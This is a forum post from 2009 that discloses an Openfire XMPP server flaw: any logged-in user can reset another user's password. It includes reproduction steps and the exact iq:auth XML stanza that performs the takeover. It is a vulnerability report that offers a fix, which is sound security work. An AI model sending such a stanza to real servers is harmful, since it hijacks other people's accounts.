Skip navigation
9539 Views 15 Replies Latest reply: Apr 29, 2009 5:25 AM by wroot RSS
erikhh Bronze 2 posts since
Apr 14, 2009
Currently Being Moderated

Apr 14, 2009 1:16 AM

Possible to change another user's password

Hi,

 

We've run into a very serious security issue with openfire. If a user sends an iq:auth request to change his/her password openfire doesn't verify if the given username belongs to the user sending the request. In other words if user A sends a request to change the password of user B openfire will happily do so.

 

Reproducing this problem is quite easy.

- Start an Openfire server

- Create two user accounts test1 and test2

- Start Spark with the debug window enabled and log in with the user test1.

- In the debug window go to the ad-hoc message tab and typ in this stanza

<iq type='set' id='passwd_change'>
     <query xmlns='jabber:iq:auth'>
     <username>test2</username>
     <password>newillegalychangedpassword</password>
     </query>
</iq>

 

- Openfire wil respond with:

<iq type="result" id="passwd_change" to="test1@ourxmppdomain.foo/spark"/>

 

And even worse the test2 user can now only log in with the password "newillegalychangedpassword".

 

It's not hard to fix. If you want, I can sent you a patch.

 

Cheers,

Erik

More Like This

  • Retrieving data ...

Bookmarked By (0)

Legend

  • Correct Answers - 10 points
  • Helpful Answers - 5 points